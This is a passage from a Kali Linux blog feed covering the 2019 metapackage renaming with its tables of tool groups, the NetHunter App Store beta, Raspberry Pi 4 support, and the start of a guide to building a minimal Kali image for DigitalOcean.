VERSION_ID=&amp;quot;2019.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
root@kali:~#
root@kali:~# uname -v
#1 SMP Debian 5.2.9-2kali1 (2019-08-22)
root@kali:~#
root@kali:~# uname -r
5.2.0-kali2-amd64
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on &lt;a href="https://pkg.kali.org/pkg/linux-latest">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Major Metapackage Makeover</title><link>https://www.kali.org/blog/major-metapackage-makeover/</link><guid isPermaLink="true">https://www.kali.org/blog/major-metapackage-makeover/</guid><pubDate>Thu, 22 Aug 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/major-metapackage-makeover/images/refreshing-kali-metapackages-1.jpg" type="image/jpg"/><description>&lt;p>With our 2019.3 Kali release imminent, we wanted to take a quick moment to discuss one of our more significant upcoming changes: our selection of metapackages. These alterations are designed to optimize Kali, reduce ISO size, and better organize metapackages as we continue to grow.&lt;/p>
&lt;p>Before we get into what&amp;rsquo;s new, let&amp;rsquo;s briefly recap what a metapackage is. A metapackage is a package that does not contain any tools itself, but rather is a dependency list of normal packages (or other metapackages). This allows us to group related tools together. For instance, if you want to be able to access every wireless tool, simply install the &lt;code>kali-tools-wireless&lt;/code> metapackage. This will obtain all wireless tools in one download. As always, you can access the full list of metapackages available in Kali on &lt;a href="https://www.kali.org/docs/general-use/metapackages/">kali.org/docs/general-use/metapackages/&lt;/a>. If you prefer to use the command line, the following command will list out the packages that will be installed via a specific metapackage:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update
Hit:1 http://http.kali.org/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
All packages are up to date.
root@kali:~#
root@kali:~# apt depends kali-tools-wireless
kali-tools-wireless
Depends: kali-tools-802-11
Depends: kali-tools-bluetooth
Depends: kali-tools-rfid
Depends: kali-tools-sdr
Depends: killerbee
Depends: rfcat
Depends: rfkill
rfkill:i386
Depends: sakis3g
Depends: spectools
Depends: wireshark
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>We took the time to create new metapackages and rename existing ones, and we did the same with the tools listed inside of them. As a result of these changes, we&amp;rsquo;ve implemented a new naming convention for simplicity and improved granular control. At the end of the post there is a table displaying the relationships between previous and new names moving forward, along with a description of the metapackage purpose.&lt;/p>
&lt;p>If you have made it this far, you are likely wondering &amp;ldquo;how does this affect me&amp;rdquo;?&lt;/p>
&lt;ul>
&lt;li>If you are using a version of Kali older than 2019.3, if and when you upgrade, you will still have the same set of tools (just newer)!&lt;/li>
&lt;li>However, if you do a fresh install of Kali with a version higher than either &lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly W34&lt;/a> or 2019.3 ISO, you will notice some of the &lt;strong>tools that get installed by DEFAULT have changed&lt;/strong> &lt;em>(we have put Kali on a diet!)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Previously, &lt;code>kali-linux-full&lt;/code> was the default metapackage, which has been renamed to &lt;code>kali-linux-large&lt;/code> with a redirect put in place. We have introduced a new default metapackage called &lt;code>kali-linux-default&lt;/code>, which serves as a slimmed-down version of the tools from &lt;code>kali-linux-large&lt;/code>.&lt;/p>
&lt;p>Depending on how you use Kali will determine which metapackage would suit you best. This is the power of metapackages. For example:&lt;/p>
&lt;ul>
&lt;li>If you want a core set of tools, stick with &lt;code>kali-linux-default&lt;/code> &lt;em>(designed for assessments that are straightforward )&lt;/em>.&lt;/li>
&lt;li>If you want a more general and wider range of tools, select &lt;code>kali-linux-large&lt;/code> &lt;em>(useful if Internet access is permitted but slow)&lt;/em>.&lt;/li>
&lt;li>If you want to be prepared for anything, go with &lt;code>kali-linux-everything&lt;/code> &lt;em>(great if you are going to be doing air-gap/offline work)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Note: You can install multiple metapackages at once and are not limited to just one, so mix and match!&lt;/em>&lt;/p>
&lt;p>Each of these metapackages depends on the one above. That means, when we add a new essential tool to &lt;code>kali-linux-default&lt;/code>, it is automatically part of &lt;code>kali-linux-large&lt;/code> and thus &lt;code>kali-linux-everything&lt;/code>. Otherwise, when we add a new tool that may not be useful to everyone, it will be placed into either &lt;code>kali-linux-large&lt;/code> or &lt;code>kali-linux-everything&lt;/code> - depending on our tool policy. More information about the new tool policy will be made public towards the end of the year. Stay tuned for some very exciting news!&lt;/p>
&lt;p>How Kali is being used today has changed since when Kali (and even &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a>) was first born. Not everyone needs all the tools at once - but they are still available when required. We have opted for a new default set of tools to match the majority of today&amp;rsquo;s current network environments, by removing edge cases and legacy tools which are rarely used.&lt;/p>
&lt;p>Upon doing a system upgrade (&lt;code>apt -y full-upgrade&lt;/code>) on a version of Kali older than 2019.3, you will see the old metapackage name being removed. This is safe.
If you have tried to remove a tool before, you may have run into this (when the tool is part of a metapackage). This is also safe to remove, as it doesn&amp;rsquo;t remove any other tools. It simply means that when a new tool is added into that metapackage, you won&amp;rsquo;t receive it.&lt;/p>
&lt;p>If you are running 2019.3 and want the old default set of tools, you can do either &lt;code>apt -y install &amp;lt;tool&amp;gt;&lt;/code> for a one-off package installation or &lt;code>apt -y install kali-linux-large&lt;/code> to get the old tool set back. For the 2019.3 release, we will be doing a one-off extra image, which is based on &lt;code>kali-linux-large&lt;/code> to help with the transition.&lt;/p>
&lt;p>Below are the tables with a complete breakdown of previous metapackages names, along with their new respective names:&lt;/p>
&lt;h4 id="systems">Systems&lt;/h4>
&lt;p>These metapackages are used when generating our images&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>kali-linux&lt;/td>
&lt;td>kali-linux-core&lt;/td>
&lt;td>Base Kali Linux System - core items that are always included&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-linux-default&lt;/td>
&lt;td>&amp;ldquo;Default&amp;rdquo; desktop (amd64/i386) images include these tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-linux-light&lt;/td>
&lt;td>Kali-Light images use this to be generated&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-linux-arm&lt;/td>
&lt;td>All tools suitable for ARM devices&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-nethunter&lt;/td>
&lt;td>kali-linux-nethunter &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>Tools used as part of Kali NetHunter&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="kali-menu">Kali Menu&lt;/h4>
&lt;p>These entries are based around the Kali menu&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-information-gathering&lt;/td>
&lt;td>Used for Open-source Intelligence (OSINT) &amp;amp; information gathering&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-vulnerability&lt;/td>
&lt;td>Vulnerability assessments tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-web&lt;/td>
&lt;td>kali-tools-web&lt;/td>
&lt;td>Designed doing web applications attacks&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-database&lt;/td>
&lt;td>Based around any database attacks&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-pwtools&lt;/td>
&lt;td>kali-tools-passwords&lt;/td>
&lt;td>Helpful for password cracking attacks - Online &amp;amp; offline&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-wireless&lt;/td>
&lt;td>kali-tools-wireless&lt;/td>
&lt;td>All tools based around Wireless protocols - 802.11, Bluetooth, RFID &amp;amp; SDR&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-reverse-engineering&lt;/td>
&lt;td>For reverse engineering binaries&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-exploitation&lt;/td>
&lt;td>Commonly used for doing exploitation&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-social-engineering&lt;/td>
&lt;td>Aimed for doing social engineering techniques&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-sniffing-spoofing&lt;/td>
&lt;td>Any tools meant for sniffing &amp;amp; spoofing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-post-exploitation&lt;/td>
&lt;td>Techniques for post exploitation stage&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-forensics&lt;/td>
&lt;td>kali-tools-forensics&lt;/td>
&lt;td>Forensic tools - Live &amp;amp; Offline&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-reporting&lt;/td>
&lt;td>Reporting tools&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="tools">Tools&lt;/h4>
&lt;p>These are tool listing based on the category and type&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>kali-linux-gpu&lt;/td>
&lt;td>kali-tools-gpu&lt;/td>
&lt;td>Tools which benefit from having access to GPU hardware&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-hardware&lt;/td>
&lt;td>Hardware hacking tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-crypto-stego&lt;/td>
&lt;td>Tools based around Cryptography &amp;amp; Steganography&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-fuzzing&lt;/td>
&lt;td>For fuzzing protocols&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-802-11&lt;/td>
&lt;td>802.11 (Commonly known as &amp;ldquo;Wi-Fi&amp;rdquo;)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-bluetooth&lt;/td>
&lt;td>For targeting Bluetooth devices&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-rfid&lt;/td>
&lt;td>kali-tools-rfid&lt;/td>
&lt;td>Radio-Frequency IDentification tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-sdr&lt;/td>
&lt;td>kali-tools-sdr&lt;/td>
&lt;td>Software-Defined Radio tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-voip&lt;/td>
&lt;td>kali-tools-voip&lt;/td>
&lt;td>Voice over IP tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-tools-windows-resources&lt;/td>
&lt;td>Any resources which can be executed on a Windows hosts&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="misc">Misc&lt;/h4>
&lt;p>Useful metapackages which are &amp;ldquo;one off&amp;rdquo; groupings&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>kali-linux-full&lt;/td>
&lt;td>kali-linux-large&lt;/td>
&lt;td>Our previous default tools for amd64/i386 images&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-all&lt;/td>
&lt;td>kali-linux-everything&lt;/td>
&lt;td>Every metapackage and tool listed here&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-linux-top10&lt;/td>
&lt;td>kali-tools-top10&lt;/td>
&lt;td>The most commonly used tools&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-desktop-live&lt;/td>
&lt;td>kali-desktop-live &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>Used during a live session when booted from the image&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;del>&lt;em>new&lt;/em>&lt;/del>&lt;/td>
&lt;td>&lt;del>kali-tools-headless&lt;/del>&lt;/td>
&lt;td>&lt;del>Tools which do not require a GUI in order to access them&lt;/del>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="courses">Courses&lt;/h4>
&lt;p>Tools used for OffSec&amp;rsquo;s courses&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>offsec-awae&lt;/td>
&lt;td>Advanced Web Attacks and Exploitation&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>offsec-pwk&lt;/td>
&lt;td>Penetration Testing with Kali&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h4 id="desktop-managers">Desktop Managers&lt;/h4>
&lt;p>Desktop Environment (DE) &amp;amp; Window Manager (WM)&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Old&lt;/strong>&lt;/th>
&lt;th>&lt;strong>New&lt;/strong>&lt;/th>
&lt;th>Notes&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>kali-desktop-common&lt;/td>
&lt;td>kali-desktop-core&lt;/td>
&lt;td>Any key tools required for a GUI image&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-desktop-e17&lt;/td>
&lt;td>Enlightenment (WM)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-desktop-gnome&lt;/td>
&lt;td>kali-desktop-gnome &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>GNOME (DE)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-desktop-i3&lt;/td>
&lt;td>i3 (WM)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-desktop-kde&lt;/td>
&lt;td>kali-desktop-kde &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>KDE (DE)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-desktop-lxde&lt;/td>
&lt;td>kali-desktop-lxde &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>LXDE (WM)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;em>new&lt;/em>&lt;/td>
&lt;td>kali-desktop-mate&lt;/td>
&lt;td>MATE (DE)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;del>&lt;em>new&lt;/em>&lt;/del>&lt;/td>
&lt;td>&lt;del>kali-desktop-pantheon&lt;/del>&lt;/td>
&lt;td>&lt;del>Pantheon (DE)&lt;/del>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>kali-desktop-xfce&lt;/td>
&lt;td>kali-desktop-xfce &lt;em>(same)&lt;/em>&lt;/td>
&lt;td>XFCE (WM)&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>If you wish to create your own metapackage, see how we do it &lt;a href="https://gitlab.com/kalilinux/packages/kali-meta/tree/kali/master">here&lt;/a>, before you create your own &lt;a href="https://web.archive.org/web/20210914172345/https://kali.training/topic/extending-and-customizing-kali/">package&lt;/a>.&lt;/p></description></item><item><title>Kali NetHunter App Store - Public Beta</title><link>https://www.kali.org/blog/kali-nethunter-app-store/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-nethunter-app-store/</guid><pubDate>Mon, 15 Jul 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-nethunter-app-store/images/kali-nethunter-store-1.jpg" type="image/jpg"/><description>&lt;p>Kali NetHunter has been undergoing a ton of changes of late. Now supporting over 50 devices and running on Android devices from KitKat (v4.4) to Pie (v9.0), its amazing the extra capabilities that have been introduced.&lt;/p>
&lt;p>But, we don&amp;rsquo;t want to stop there. After a ton of work, we are really excited to introduce the &lt;a href="https://store.nethunter.com/">Kali NetHunter App Store&lt;/a>!&lt;/p>
&lt;h2 id="the-new-android-store-dedicated-to-free-security-apps">The New Android Store Dedicated to Free Security Apps&lt;/h2>
&lt;p>Originally meant to conveniently manage the packages on NetHunter devices, we soon realized that the NetHunter store should also be available for non-NetHunter devices. So here it is, available to everyone that would like the best of both worlds:&lt;/p>
&lt;ul>
&lt;li>Ease of use and convenience of the Google Play Store&lt;/li>
&lt;li>Freedom, anonymity and privacy of sideloaded applications&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-app-store/images/nethunter-store-02.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-app-store/images/nethunter-store-02.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The Kali NetHunter App Store is a one stop shop for security relevant Android applications.
It is the ultimate alternative to the Google Play store for any Android device, whether rooted or not, NetHunter or stock. If you are after any security application for your Android device, the NetHunter Store will be the place to get it.&lt;/p>
&lt;p>The NetHunter store is powered by a slightly modified version of &lt;a href="https://f-droid.org/en/">F-Droid&lt;/a>, thanks to the hard work of the F-Droid community, in particular &lt;a href="https://twitter.com/serwylo">Peter Serwylo&lt;/a> whose help was invaluable.
Whilst F-Droid installs its clients with telemetry disabled and asks for consent before submitting crash reports, we went a step further and removed the entire code - just to make sure that our privacy cannot be compromised by accident.&lt;/p>
&lt;p>We also widened the inclusion policy to allow proprietary applications into the store.&lt;/p>
&lt;h3 id="call-for-applications">Call for Applications&lt;/h3>
&lt;p>If you are an application developer and you would like your application to be included in the NetHunter App Store, please let us know via a &lt;a href="https://gitlab.com/kalilinux/nethunter/store/rfp/-/issues">Request for packaging&lt;/a> or in the &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a>.&lt;/p>
&lt;p>Please note: We accept binary APK files as well as links to git repositories that we use to build the applications ourselves.
Third party APK files are preferably signed by the original author whereas apps built by us from source are built using GitLab CI and are signed by us.&lt;/p>
&lt;p>If you would like us to include an application that you are not the author of, please let us know and we&amp;rsquo;ll try to get the authors consent to publish it in our store.&lt;/p>
&lt;p>More information about contributing applications can be found &lt;a href="https://store.nethunter.com/en/contribute/">here&lt;/a>&lt;/p>
&lt;h3 id="call-for-feedback">Call for Feedback&lt;/h3>
&lt;p>We encourage all Android users to head over to the &lt;a href="https://store.nethunter.com/">NetHunter App Store (https://store.nethunter.com/)&lt;/a>, download the Store app, have a go and join us in the &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a> to give us feedback and get involved.&lt;/p>
&lt;h3 id="call-for-contributors">Call for Contributors&lt;/h3>
&lt;p>NetHunter is a community project. It is driven by the community for the community and it is a whole lot of fun. The project is centered around bringing Kali Linux to Android devices and to add a user experience that makes Android a valid alternative for certain areas of penetration testing and hacking.&lt;/p>
&lt;p>Working on the NetHunter project, including the NetHunter Store, provides exposure to a wide variety of technologies, such as:&lt;/p>
&lt;ul>
&lt;li>Android app development&lt;/li>
&lt;li>Rooting Android &amp;amp; creating custom recovery installers&lt;/li>
&lt;li>Kernel &amp;amp; kernel drivers, in particular WiFi&lt;/li>
&lt;li>Kali Linux&lt;/li>
&lt;li>All tools that ship with Kali Linux&lt;/li>
&lt;li>Web technologies&lt;/li>
&lt;li>Android package management&lt;/li>
&lt;li>&amp;hellip;and many more.&lt;/li>
&lt;/ul>
&lt;p>But most importantly:&lt;/p>
&lt;ul>
&lt;li>Putting it all together and hack Radio frequency (RF), Wi-Fi, Apps and everything else you can get your hands on!&lt;/li>
&lt;/ul>
&lt;p>If you are good at any of the above, or you would like to become good at any of them, please join us in the &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a> or on &lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">IRC&lt;/a> OFTC, #NetHunter](&lt;a href="https://webchat.oftc.net/?randomnick=1&amp;amp;channels=nethunter)">https://webchat.oftc.net/?randomnick=1&amp;amp;channels=nethunter)&lt;/a>.&lt;/p></description></item><item><title>Raspberry Pi 4 and Kali</title><link>https://www.kali.org/blog/raspberry-pi-4-and-kali/</link><guid isPermaLink="true">https://www.kali.org/blog/raspberry-pi-4-and-kali/</guid><pubDate>Fri, 05 Jul 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/raspberry-pi-4-and-kali/images/kali-raspberry-pi-4.jpg" type="image/jpg"/><description>&lt;p>We love the Raspberry Pi, and judging by the response we got to a &lt;a href="https://twitter.com/kalilinux/status/1144895236025585665">late night tweet&lt;/a> we sent out last weekend a lot of you love the Pi too!&lt;/p>
&lt;p>Because of that, when the &lt;a href="https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/">Pi 4 dropped&lt;/a> we wanted to get Kali supported on it right away.&lt;/p>
&lt;h2 id="whats-new-on-the-raspberry-pi-4">What&amp;rsquo;s new on the Raspberry Pi 4?&lt;/h2>
&lt;p>The Raspberry Pi 4 is actually a pretty amazing little machine. The Pi has always been known for its low cost and easy accessibility, but with the 4 we can actually throw real performance onto that list as well.&lt;/p>
&lt;p>With the Raspberry Pi 4 we have a completely upgraded, re-engineered device that includes:&lt;/p>
&lt;ul>
&lt;li>A more powerful CPU&lt;/li>
&lt;li>Options for 1, 2, or 4 GB of RAM&lt;/li>
&lt;li>USB-C power supply&lt;/li>
&lt;li>USB 2 &amp;amp; USB 3&lt;/li>
&lt;li>Gigabit ethernet&lt;/li>
&lt;li>2 micro HDMI ports&lt;/li>
&lt;/ul>
&lt;p>And now you can add to that list full Kali Linux support complete with on-board wifi monitor mode &amp;amp; frame injection support!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/raspberry-pi-4-and-kali/images/kali-pi4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/raspberry-pi-4-and-kali/images/kali-pi4.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>To say we are excited about this is an understatement, and we hope many of you are just as excited!&lt;/p>
&lt;h2 id="try-it-out">Try it out!&lt;/h2>
&lt;p>You can download Kali Linux for the Raspberry Pi 4 on the &lt;a href="https://www.kali.org/get-kali/#kali-arm">Kali ARM download page&lt;/a>. Currently we only have 32Bit support for it, but expect 64Bit in the near future. The installation instructions are not any different than the Pi2, so feel free to &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-2/">follow our docs&lt;/a> on getting it setup if you don&amp;rsquo;t know how.&lt;/p>
&lt;p>Once you have it running feel free to let us know how its working for you &lt;a href="https://forums.kali.org/forumdisplay.php?7-Kali-Linux-ARM-Architecture">on our forums&lt;/a>. Stay tuned for more Pi updates as we work with the 4 and find new and interesting things to do with it!&lt;/p></description></item><item><title>Kali Linux in the DigitalOcean Cloud</title><link>https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/</guid><pubDate>Tue, 02 Jul 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/kali-digital-ocean.jpg" type="image/jpg"/><description>&lt;p>&lt;a href="https://www.digitalocean.com/">DigitalOcean&lt;/a> is a cloud provider similar to AWS, Microsoft Azure, Google Cloud Platform, and many others. They offer instances, called &amp;ldquo;droplets&amp;rdquo;, with different Linux distributions such as Debian, Ubuntu, FreeBSD, etc. Similar to AWS, DigitalOcean has datacenters around the world and sometimes multiple datacenters in each country.&lt;/p>
&lt;p>However, one feature in particular sets them apart them from their competitors. A little while ago, they added support for &lt;a href="https://blog.digitalocean.com/custom-images/">custom images&lt;/a>, which allows users to import virtual machine disks and use them as droplets. This is perfect for us as we can use our own version of Kali Linux in their cloud.&lt;/p>
&lt;p>While it might be possible to load the &lt;a href="https://www.kali.org/get-kali/#kali-vm">official Kali Linux virtual images&lt;/a>, it wouldn&amp;rsquo;t be very efficient. Instead, we&amp;rsquo;ll build a lightweight Kali installation with the bare minimum to get it working.&lt;/p>
&lt;h2 id="generate-an-iso">Generate an ISO&lt;/h2>
&lt;p>By default, the Kali Linux ISOs have a GUI installed, and while we could use it, we want to minimize the amount of data we have to upload to DigitalOcean for reasons we will talk about later. Having a GUI running on a headless system is also a waste of resources so while we could uninstall it or disable it, we&amp;rsquo;ll &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">just generate a custom Kali ISO&lt;/a> without a GUI or any other tools installed. Building the ISO will require around 5 GB of hard drive space so make sure you have enough if you&amp;rsquo;re following along.&lt;/p>
&lt;p>First, we&amp;rsquo;ll make sure the system is up to date:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update
apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;p>In case a new kernel was installed, let&amp;rsquo;s reboot the system before continuing and then proceed to start the build:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt -y install git live-build cdebootstrap devscripts
git clone https://gitlab.com/kalilinux/build-scripts/live-build-config.git
cd live-build-config
./build.sh --variant minimal --verbose
&lt;/code>&lt;/pre>
&lt;p>It will take a while to build the ISO as it needs to download a lot of packages and assemble them. In the meantime, enjoy a nice cup of joe. Or tea.&lt;/p>
&lt;p>The &amp;lsquo;&amp;ndash;verbose&amp;rsquo; option will display the build log on the screen. It can however be removed, and instead progress can be followed in the &lt;strong>&lt;em>build.log&lt;/em>&lt;/strong> file:&lt;/p>
&lt;pre>&lt;code class="language-sh">tail -f build.log
&lt;/code>&lt;/pre>
&lt;p>Once our prompt returns on the terminal where &amp;lsquo;build.sh&amp;rsquo; was launched, the ISO is ready and can be found in the &lt;strong>&lt;em>images/&lt;/em>&lt;/strong> directory.&lt;/p>
&lt;h2 id="create-the-virtual-machine">Create the Virtual Machine&lt;/h2>
&lt;p>With our ISO built, we can now begin to build our virtual machine. Create a new virtual machine setting the OS to the latest Debian 64 bit and allocating a 20 GB hard disk. If needed, detailed set-up is explained on the &lt;a href="https://web.archive.org/web/20210914172345/https://kali.training/topic/booting-kali-in-live-mode/">Kali Training website&lt;/a>. It is important to store the virtual disk as a single file that is dynamically allocated. The rest like the amount of CPU and RAM won&amp;rsquo;t matter because only the disk file will be uploaded to DigitalOcean.&lt;/p>
&lt;p>Disk size matters as billing is based on disk size for custom images. It will also impact the choice of instance we can create. Let&amp;rsquo;s say a 40 GB hard disk is created, it will fail creating an instance at the $5/month level because its maximum hard disk size is 25 GB. In that case we would be forced to use the $10/month option for instances with 50 GB disks. Don&amp;rsquo;t worry, even though the disk is 20 GB, it will get expanded depending on the droplet plan chosen.&lt;/p>
&lt;p>During the installation, select manual partitioning and set it up as shown below, with all files in one partition and no swap file.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture1-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-in-the-digitalocean-cloud/images/Picture1-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="update-the-system">Update the System&lt;/h2>
&lt;p>When installation is complete and after rebooting, we login at the console and update the system:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update
apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;p>If you don&amp;rsquo;t see it going over a mirror during &amp;lsquo;apt update&amp;rsquo;, you may have accidentally forgotten to add a network mirror during the installation. Follow the &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">instructions on the Kali-Docs site&lt;/a> to fix it and run both of the commands again.&lt;/p>
&lt;h3 id="install-required-packages">Install Required Packages&lt;/h3>
